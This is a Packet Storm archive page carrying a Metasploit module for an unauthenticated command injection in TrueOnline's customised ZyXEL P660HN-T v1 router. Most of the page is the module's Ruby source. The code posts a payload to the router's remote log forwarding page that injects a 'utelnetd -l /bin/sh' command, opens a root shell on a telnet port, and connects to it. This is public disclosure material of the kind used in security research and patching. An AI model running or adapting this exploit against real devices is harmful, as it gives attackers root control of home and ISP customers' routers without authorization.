exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection

TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection
Posted Feb 1, 2017
Authored by Pedro Ribeiro | Site metasploit.com

TrueOnline is a major ISP in Thailand, and it distributes a customised version of the ZyXEL P660HN-T v1 router. This customised version has an unauthenticated command injection vulnerability in the remote log forwarding page. This Metasploit module was tested in an emulated environment, as the author doesn't have access to the Thai router any more. Any feedback should be sent directly to the module's author, as well as to the Metasploit project. There are other language strings in the firmware, so it is likely that this firmware is not only distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too.

tags | exploit, remote
SHA-256 | 0ec8cd4f941f9ce9beafa6da206e70eb9f5c14a6da5fdf46f3c0c173761cf5d6

TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
'Description' => %q{
TrueOnline is a major ISP in Thailand, and it distributes a customised version of
the ZyXEL P660HN-T v1 router. This customised version has an unauthenticated command
injection vulnerability in the remote log forwarding page.
This module was tested in an emulated environment, as the author doesn't have access to the
Thai router any more. Any feedback should be sent directly to the module's author, as well as
to the Metasploit project.
There are other language strings in the firmware, so it is likely that this firmware is not only
distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
],
'Targets' =>
[
[ 'P660HN-T v1', {}],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 26 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]),
], self.class)
end

def check
res = send_request_cgi!({
'uri' => '/cgi-bin/authorize.asp',
'method' => 'GET'
})
if res && res.body =~ /ZyXEL P-660HN-T1A/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end


def exploit
print_status("#{peer} - Attempting to exploit router...")
send_request_cgi({
'uri' => '/cgi-bin/ViewLog.asp',
'method' => 'POST',
'vars_post' => {
'remote_submit_Flag' => '1',
'remote_syslog_Flag' => '1',
'RemoteSyslogSupported' => '1',
'remote_host' => ";utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d;#",
'remoteSubmit' => 'Save'
}
})

sleep 5

begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end

fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.")
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close